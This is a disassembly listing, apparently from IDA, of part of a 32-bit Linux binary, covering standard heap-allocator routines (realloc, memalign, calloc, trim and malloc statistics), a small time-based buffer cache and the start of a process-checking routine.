		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_805C750

loc_805C746:				; CODE XREF: sub_805C4F8+94j
		xor	eax, eax
		jmp	loc_805C7D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C750:				; CODE XREF: sub_805C4F8+24Cj
		lea	esi, [ebx-4]
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		and	al, 0FEh
		add	eax, edx
		cmp	esi, eax
		jz	short loc_805C780
		mov	eax, [ebp+var_C]
		add	eax, 0FFFFFFFCh
		push	eax
		mov	edi, [ebp+arg_0]
		push	edi
		push	ebx
		call	memcpy
		add	esp, 0Ch
		push	edi
		call	free
		mov	eax, ebx
		jmp	short loc_805C7D0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C780:				; CODE XREF: sub_805C4F8+266j
		mov	eax, [esi]
		and	al, 0FCh
		add	[ebp+var_10], eax
		mov	esi, [ebp+var_8]

loc_805C78A:				; CODE XREF: sub_805C4F8+C6j
					; sub_805C4F8+14Ej ...
		mov	ecx, [ebp+var_10]
		sub	ecx, [ebp+var_4]
		cmp	ecx, 0Fh
		jbe	short loc_805C7BC
		mov	eax, [ebp+var_4]
		add	eax, esi
		mov	edx, [esi]
		and	edx, 1
		or	edx, [ebp+var_4]
		mov	[esi], edx
		mov	edi, ecx
		or	edi, 1
		mov	[eax], edi
		or	byte ptr [ecx+eax], 1
		add	eax, 4
		push	eax
		call	free
		jmp	short loc_805C7CD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C7BC:				; CODE XREF: sub_805C4F8+29Bj
		mov	eax, [esi]
		and	eax, 1
		or	eax, [ebp+var_10]
		mov	[esi], eax
		mov	edx, [ebp+var_10]
		or	byte ptr [edx+esi], 1

loc_805C7CD:				; CODE XREF: sub_805C4F8+6Cj
					; sub_805C4F8+2C0j
		lea	eax, [esi+4]

loc_805C7D0:				; CODE XREF: sub_805C4F8+18j
					; sub_805C4F8+7Dj ...
		lea	esp, [ebp+var_20]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805C4F8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805C7DC	proc near		; CODE XREF: sub_805C8EC+Cp

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		cmp	ebx, 8
		ja	short loc_805C7FC
		push	edx
		call	malloc
		jmp	loc_805C8E1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C7FC:				; CODE XREF: sub_805C7DC+12j
		cmp	ebx, 0Fh
		ja	short loc_805C806
		mov	ebx, 10h

loc_805C806:				; CODE XREF: sub_805C7DC+23j
		cmp	edx, 0Bh
		jle	short loc_805C814
		lea	edi, [edx+0Bh]
		and	edi, 0FFFFFFF8h
		jmp	short loc_805C819
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C814:				; CODE XREF: sub_805C7DC+2Dj
		mov	edi, 10h

loc_805C819:				; CODE XREF: sub_805C7DC+35j
		lea	eax, [ebx+edi+10h]
		push	eax
		call	malloc
		mov	[ebp+var_4], eax
		add	esp, 4
		test	eax, eax
		jnz	short loc_805C834
		xor	eax, eax
		jmp	loc_805C8E1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C834:				; CODE XREF: sub_805C7DC+4Fj
		mov	esi, [ebp+var_4]
		add	esi, 0FFFFFFFCh
		mov	eax, [ebp+var_4]
		xor	edx, edx
		div	ebx
		test	edx, edx
		jnz	short loc_805C858
		mov	eax, [ebp+var_4]
		test	byte ptr [eax-4], 2
		jz	short loc_805C8B8
		mov	eax, [ebp+var_4]
		jmp	loc_805C8E1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C858:				; CODE XREF: sub_805C7DC+67j
		mov	eax, [ebp+var_4]
		lea	edx, [ebx+eax-1]
		mov	eax, ebx
		neg	eax
		and	edx, eax
		add	edx, 0FFFFFFFCh
		mov	eax, edx
		sub	eax, esi
		cmp	eax, 0Fh
		ja	short loc_805C873
		add	edx, ebx

loc_805C873:				; CODE XREF: sub_805C7DC+93j
		mov	ebx, edx
		sub	edx, esi
		mov	ecx, [esi]
		and	cl, 0FCh
		sub	ecx, edx
		test	byte ptr [esi],	2
		jz	short loc_805C894
		add	edx, [esi-4]
		mov	[ebx-4], edx
		or	cl, 2
		mov	[ebx], ecx
		lea	eax, [ebx+4]
		jmp	short loc_805C8E1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805C894:				; CODE XREF: sub_805C7DC+A5j
		mov	eax, ecx
		or	al, 1
		mov	[ebx], eax
		or	byte ptr [ecx+ebx], 1
		mov	eax, [esi]
		and	eax, 1
		or	edx, eax
		mov	[esi], edx
		add	esi, 4
		mov	[ebp+var_4], esi
		push	esi
		call	free
		mov	esi, ebx
		add	esp, 4

loc_805C8B8:				; CODE XREF: sub_805C7DC+70j
		mov	edx, [esi]
		and	dl, 0FCh
		sub	edx, edi
		cmp	edx, 0Fh
		jle	short loc_805C8DE
		lea	eax, [edi+esi]
		or	dl, 1
		mov	[eax], edx
		mov	edx, [esi]
		and	edx, 1
		or	edx, edi
		mov	[esi], edx
		add	eax, 4
		push	eax
		call	free

loc_805C8DE:				; CODE XREF: sub_805C7DC+E6j
		lea	eax, [esi+4]

loc_805C8E1:				; CODE XREF: sub_805C7DC+1Aj
					; sub_805C7DC+53j ...
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805C7DC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805C8EC	proc near

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		push	1000h
		call	sub_805C7DC
		mov	esp, ebp
		pop	ebp
		retn
sub_805C8EC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805C904	proc near		; CODE XREF: sub_8067094+16p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	eax, [ebp+arg_0]
		imul	eax, [ebp+arg_4]
		push	eax
		call	malloc
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_805C924
		xor	eax, eax
		jmp	short loc_805C93D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C924:				; CODE XREF: sub_805C904+18j
		test	byte ptr [ebx-4], 2
		jnz	short loc_805C93B
		mov	eax, [ebx-4]
		and	al, 0FCh
		add	eax, 0FFFFFFFCh
		push	eax
		push	0
		push	ebx
		call	memset

loc_805C93B:				; CODE XREF: sub_805C904+24j
		mov	eax, ebx

loc_805C93D:				; CODE XREF: sub_805C904+1Cj
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_805C904	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805C944	proc near		; CODE XREF: free+82p

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	eax, dword_8078B38
		mov	esi, [eax]
		and	esi, 0FFFFFFFCh
		mov	ebx, esi
		sub	ebx, [ebp+arg_0]
		add	ebx, 0FEFh
		mov	eax, ebx
		shr	eax, 0Ch
		lea	ebx, [eax-1]
		shl	ebx, 0Ch
		cmp	ebx, 1000h
		jl	short loc_805C9CC
		push	0
		mov	eax, dword_8078B30
		call	eax ; sub_8065DE0
		mov	edx, eax
		mov	eax, esi
		add	eax, dword_8078B38
		add	esp, 4
		cmp	edx, eax
		jnz	short loc_805C9CC
		mov	eax, ebx
		neg	eax
		push	eax
		mov	eax, dword_8078B30
		call	eax ; sub_8065DE0
		add	esp, 4
		test	eax, eax
		jnz	short loc_805C9D0
		push	0
		mov	eax, dword_8078B30
		call	eax ; sub_8065DE0
		mov	edx, eax
		mov	esi, edx
		sub	esi, dword_8078B38
		cmp	esi, 0Fh
		jle	short loc_805C9CC
		sub	edx, dword_8078F4C
		mov	dword_8078F58, edx
		mov	eax, dword_8078B38
		or	esi, 1
		mov	[eax], esi

loc_805C9CC:				; CODE XREF: sub_805C944+2Bj
					; sub_805C944+45j ...
		xor	eax, eax
		jmp	short loc_805C9E9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805C9D0:				; CODE XREF: sub_805C944+58j
		mov	edx, dword_8078B38
		mov	eax, esi
		sub	eax, ebx
		or	al, 1
		mov	[edx], eax
		sub	dword_8078F58, ebx
		mov	eax, 1

loc_805C9E9:				; CODE XREF: sub_805C944+8Aj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_805C944	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805C9F4	proc near

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_805CA04

loc_805C9FE:				; CODE XREF: sub_805C9F4+22j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805CA04:				; CODE XREF: sub_805C9F4+8j
		lea	edx, [eax-4]
		test	byte ptr [eax-4], 2
		jnz	short loc_805CA18
		mov	eax, [eax-4]
		and	al, 0FEh
		test	byte ptr [eax+edx], 1
		jz	short loc_805C9FE

loc_805CA18:				; CODE XREF: sub_805C9F4+17j
		mov	eax, [edx]
		and	al, 0FCh
		add	eax, 0FFFFFFFCh
		mov	esp, ebp
		pop	ebp
		retn
sub_805C9F4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805CA24	proc near		; CODE XREF: sub_805CBA8+3p
					; sub_805CC18+9p

var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	edi
		push	esi
		push	ebx
		mov	eax, dword_8078B38
		mov	ebx, [eax]
		and	bl, 0FCh
		cmp	ebx, 0Fh
		setnle	al
		movzx	ecx, al
		mov	esi, offset dword_8078B3C
		mov	[ebp+var_8], 8
		mov	edx, dword_8078B44
		cmp	edx, offset dword_8078B3C
		jz	short loc_805CA6A
		lea	esi, [esi]

loc_805CA5C:				; CODE XREF: sub_805CA24+44j
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	edx, esi
		jnz	short loc_805CA5C

loc_805CA6A:				; CODE XREF: sub_805CA24+34j
		add	esi, 8
		add	[ebp+var_8], 8
		mov	edi, [ebp+var_8]
		mov	edx, dword_8078B3C[edi]
		cmp	edx, esi
		jz	short loc_805CA8E
		lea	esi, [esi]

loc_805CA80:				; CODE XREF: sub_805CA24+68j
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	edx, esi
		jnz	short loc_805CA80

loc_805CA8E:				; CODE XREF: sub_805CA24+58j
		add	esi, 8
		add	[ebp+var_8], 8
		mov	edi, [ebp+var_8]
		mov	edx, dword_8078B3C[edi]
		cmp	edx, esi
		jz	short loc_805CAB2
		lea	esi, [esi]

loc_805CAA4:				; CODE XREF: sub_805CA24+8Cj
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	edx, esi
		jnz	short loc_805CAA4

loc_805CAB2:				; CODE XREF: sub_805CA24+7Cj
		add	esi, 8
		add	[ebp+var_8], 8
		cmp	esi, offset off_8078F34
		jz	loc_805CB62
		mov	edi, [ebp+var_8]
		add	edi, offset dword_8078B3C
		mov	[ebp+var_4], edi
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_805CAD4:				; CODE XREF: sub_805CA24+138j
		mov	edi, [ebp+var_4]
		mov	edx, [edi]
		cmp	edx, esi
		jz	short loc_805CAEE
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_805CAE0:				; CODE XREF: sub_805CA24+C8j
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	edx, esi
		jnz	short loc_805CAE0

loc_805CAEE:				; CODE XREF: sub_805CA24+B7j
		lea	edi, [esi+8]
		mov	[ebp+var_8], edi
		mov	edi, [ebp+var_4]
		mov	edx, [edi+8]
		cmp	[ebp+var_8], edx
		jz	short loc_805CB0F
		nop

loc_805CB00:				; CODE XREF: sub_805CA24+E9j
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	[ebp+var_8], edx
		jnz	short loc_805CB00

loc_805CB0F:				; CODE XREF: sub_805CA24+D9j
		lea	edi, [esi+10h]
		mov	[ebp+var_8], edi
		mov	edi, [ebp+var_4]
		mov	edx, [edi+10h]
		cmp	[ebp+var_8], edx
		jz	short loc_805CB2F

loc_805CB20:				; CODE XREF: sub_805CA24+109j
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	[ebp+var_8], edx
		jnz	short loc_805CB20

loc_805CB2F:				; CODE XREF: sub_805CA24+FAj
		lea	edi, [esi+18h]
		mov	[ebp+var_8], edi
		mov	edi, [ebp+var_4]
		mov	edx, [edi+18h]
		cmp	[ebp+var_8], edx
		jz	short loc_805CB4F

loc_805CB40:				; CODE XREF: sub_805CA24+129j
		mov	eax, [edx]
		and	al, 0FCh
		add	ebx, eax
		inc	ecx
		mov	edx, [edx+8]
		cmp	[ebp+var_8], edx
		jnz	short loc_805CB40

loc_805CB4F:				; CODE XREF: sub_805CA24+11Aj
		add	esi, 20h
		add	[ebp+var_4], 20h
		cmp	esi, offset off_8078F34
		jnz	loc_805CAD4

loc_805CB62:				; CODE XREF: sub_805CA24+9Bj
		mov	dword_8078F5C, ecx
		mov	edi, dword_8078F58
		sub	edi, ebx
		mov	dword_8078F74, edi
		mov	dword_8078F78, ebx
		mov	eax, dword_8078F80
		mov	dword_8078F64, eax
		mov	eax, dword_8078F88
		mov	dword_8078F68, eax
		mov	eax, dword_8078B38
		mov	eax, [eax]
		and	al, 0FCh
		mov	dword_8078F7C, eax
		lea	esp, [ebp+var_14]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805CA24	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805CBA8	proc near
		push	ebp
		mov	ebp, esp
		call	sub_805CA24
		mov	eax, dword_8078F54
		push	eax
		push	offset aMaxSystemBytes ; "max system bytes = %10u\n"
		push	offset unk_80787A4
		call	fprintf
		mov	eax, dword_8078F58
		add	eax, dword_8078F88
		push	eax
		push	offset aSystemBytes10u ; "system bytes	   = %10u\n"
		push	offset unk_80787A4
		call	fprintf
		mov	eax, dword_8078F74
		add	eax, dword_8078F88
		push	eax
		push	offset aInUseBytes10u ;	"in use	bytes	  = %10u\n"
		push	offset unk_80787A4
		call	fprintf
		add	esp, 24h
		mov	eax, dword_8078F84
		push	eax
		push	offset aMaxMmapRegions ; "max mmap regions = %10u\n"
		push	offset unk_80787A4
		call	fprintf
		mov	esp, ebp
		pop	ebp
		retn
sub_805CBA8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805CC18	proc near

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		call	sub_805CA24
		mov	edi, ebx
		mov	esi, offset dword_8078F58
		cld
		mov	ecx, 0Ah
		repe movsd
		mov	eax, ebx
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805CC18	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805CC44	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		cmp	eax, 0FFFFFFFDh
		jz	short loc_805CC88
		jg	short loc_805CC5C
		cmp	eax, 0FFFFFFFCh
		jz	short loc_805CC98
		jmp	short loc_805CCA8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805CC5C:				; CODE XREF: sub_805CC44+Ej
		cmp	eax, 0FFFFFFFEh
		jz	short loc_805CC78
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_805CCA8
		mov	dword_8078F3C, edx
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805CC78:				; CODE XREF: sub_805CC44+1Bj
		mov	dword_8078F40, edx
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805CC88:				; CODE XREF: sub_805CC44+Cj
		mov	dword_8078F48, edx
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805CC98:				; CODE XREF: sub_805CC44+13j
		mov	dword_8078F44, edx
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805CCA8:				; CODE XREF: sub_805CC44+15j
					; sub_805CC44+20j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_805CC44	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805CCB0	proc near		; CODE XREF: sub_805D3A8+225p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_10]
		lea	eax, [ebp+var_4]
		push	eax
		call	time
		mov	ebx, ds:dword_807E398
		add	esp, 4
		test	ebx, ebx
		jz	short loc_805CCEA
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_805CCD8:				; CODE XREF: sub_805CCB0+34j
		mov	eax, [ebx+18h]
		cmp	[ebp+var_4], eax
		jg	short loc_805CCE6
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_805CCD8

loc_805CCE6:				; CODE XREF: sub_805CCB0+2Ej
		test	ebx, ebx
		jnz	short loc_805CD14

loc_805CCEA:				; CODE XREF: sub_805CCB0+23j
		push	1Ch
		call	malloc
		mov	ebx, eax
		push	1Ch
		push	ebx
		call	sub_806626C
		add	esp, 0Ch
		cmp	ds:dword_807E398, 0
		jz	short loc_805CD0E
		mov	eax, ds:dword_807E398
		mov	[ebx], eax

loc_805CD0E:				; CODE XREF: sub_805CCB0+55j
		mov	ds:dword_807E398, ebx

loc_805CD14:				; CODE XREF: sub_805CCB0+38j
		cmp	dword ptr [ebx+8], 0
		jz	short loc_805CD26
		mov	eax, [ebx+8]
		push	eax
		call	free
		add	esp, 4

loc_805CD26:				; CODE XREF: sub_805CCB0+68j
		cmp	dword ptr [ebx+0Ch], 0
		jz	short loc_805CD38
		mov	eax, [ebx+0Ch]
		push	eax
		call	free
		add	esp, 4

loc_805CD38:				; CODE XREF: sub_805CCB0+7Aj
		mov	dword ptr [ebx+8], 0
		mov	dword ptr [ebx+0Ch], 0
		mov	edx, [ebp+arg_8]
		push	edx
		call	malloc
		mov	[ebx+8], eax
		add	esp, 4
		test	eax, eax
		jz	loc_805CDE3
		push	edi
		call	malloc
		mov	[ebx+0Ch], eax
		add	esp, 4
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_805CD80
		push	0
		call	free
		mov	dword ptr [ebx+8], 0
		jmp	short loc_805CDE3
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805CD80:				; CODE XREF: sub_805CCB0+BDj
		mov	edx, [ebp+arg_8]
		mov	[ebx+10h], edx
		mov	[ebx+14h], edi
		mov	eax, [ebx+10h]
		push	eax
		mov	eax, [ebx+8]
		push	eax
		mov	edx, [ebp+arg_4]
		push	edx
		call	bcopy
		mov	eax, [ebx+14h]
		push	eax
		mov	eax, [ebx+0Ch]
		push	eax
		mov	edx, [ebp+arg_C]
		push	edx
		call	bcopy
		add	esp, 18h
		cmp	dword ptr [ebx+4], 0
		jz	short loc_805CDCE
		push	esi
		mov	eax, [ebx+4]
		push	eax
		call	sub_8057ADC
		add	esp, 8
		test	eax, eax
		jz	short loc_805CDD7
		mov	eax, [ebx+4]
		push	eax
		call	free

loc_805CDCE:				; CODE XREF: sub_805CCB0+102j
		push	esi
		call	strdup
		mov	[ebx+4], eax

loc_805CDD7:				; CODE XREF: sub_805CCB0+113j
		mov	edx, [ebp+var_4]
		add	edx, ds:dword_8069038
		mov	[ebx+18h], edx

loc_805CDE3:				; CODE XREF: sub_805CCB0+A7j
					; sub_805CCB0+CDj
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805CCB0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805CDF0	proc near		; CODE XREF: sub_805D3A8+A1p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		cmp	ds:dword_807E398, 0
		jnz	short loc_805CE24
		jmp	short loc_805CE75
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805CE0C:				; CODE XREF: sub_805CDF0+7Dj
		mov	eax, [ebx+0Ch]
		mov	edx, [ebp+arg_C]
		mov	[edx], eax
		mov	eax, [ebx+14h]
		mov	edx, [ebp+arg_10]
		mov	[edx], eax
		mov	eax, 1
		jmp	short loc_805CE77
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805CE24:				; CODE XREF: sub_805CDF0+16j
		lea	eax, [ebp+var_4]
		push	eax
		call	time
		mov	ebx, ds:dword_807E398
		add	esp, 4
		test	ebx, ebx
		jz	short loc_805CE75
		lea	esi, [esi]

loc_805CE3C:				; CODE XREF: sub_805CDF0+83j
		cmp	[ebx+10h], esi
		jnz	short loc_805CE6F
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebx+4]
		push	eax
		call	sub_8057ADC
		add	esp, 8
		test	eax, eax
		jnz	short loc_805CE6F
		push	esi
		push	edi
		mov	eax, [ebx+8]
		push	eax
		call	sub_8056450
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_805CE6F
		mov	eax, [ebp+var_4]
		cmp	[ebx+18h], eax
		jge	short loc_805CE0C

loc_805CE6F:				; CODE XREF: sub_805CDF0+4Fj
					; sub_805CDF0+63j ...
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_805CE3C

loc_805CE75:				; CODE XREF: sub_805CDF0+18j
					; sub_805CDF0+48j
		xor	eax, eax

loc_805CE77:				; CODE XREF: sub_805CDF0+31j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805CDF0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805CE84	proc near		; CODE XREF: sub_805D328+9p
					; sub_805D3A8+66p ...

var_45C		= byte ptr -45Ch
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43A		= byte ptr -43Ah
var_438		= byte ptr -438h
var_434		= dword	ptr -434h
var_430		= word ptr -430h
var_42C		= dword	ptr -42Ch
var_428		= dword	ptr -428h
var_424		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= byte ptr -41Ch
var_1C		= word ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 450h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_44C], 0
		call	getpid
		mov	[ebp+var_450], eax
		cmp	dword_8078F94, 0FFFFFFFFh
		jz	short loc_805CEF6
		cmp	dword_8078F94, eax
		jz	short loc_805CEF6
		mov	esi, ds:dword_807EB94
		test	esi, esi
		jz	short loc_805CEEC

loc_805CEC0:				; CODE XREF: sub_805CE84+66j
		cmp	dword ptr [esi+120h], 0
		jz	short loc_805CEDB
		mov	edx, [esi+120h]
		mov	ecx, [edx+4]
		push	edx
		mov	edx, [ecx+10h]
		call	edx
		add	esp, 4

loc_805CEDB:				; CODE XREF: sub_805CE84+43j
		mov	ebx, [esi]
		push	esi
		call	free
		mov	esi, ebx
		add	esp, 4
		test	esi, esi
		jnz	short loc_805CEC0

loc_805CEEC:				; CODE XREF: sub_805CE84+3Aj
		mov	ds:dword_807EB94, 0

loc_805CEF6:				; CODE XREF: sub_805CE84+28j
					; sub_805CE84+30j
		mov	edi, [ebp+var_450]
		mov	dword_8078F94, edi
		cmp	[ebp+arg_4], 0
		jz	short loc_805CF11
		mov	edi, [ebp+arg_4]
		mov	dword ptr [edi], 0

loc_805CF11:				; CODE XREF: sub_805CE84+82j
		cmp	[ebp+arg_0], 0
		jz	short loc_805CF29
		xor	al, al
		mov	edi, [ebp+arg_0]
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		cmp	ecx, 0FFFFFFFEh
		jnz	short loc_805CF34

loc_805CF29:				; CODE XREF: sub_805CE84+91j
		mov	eax, 1
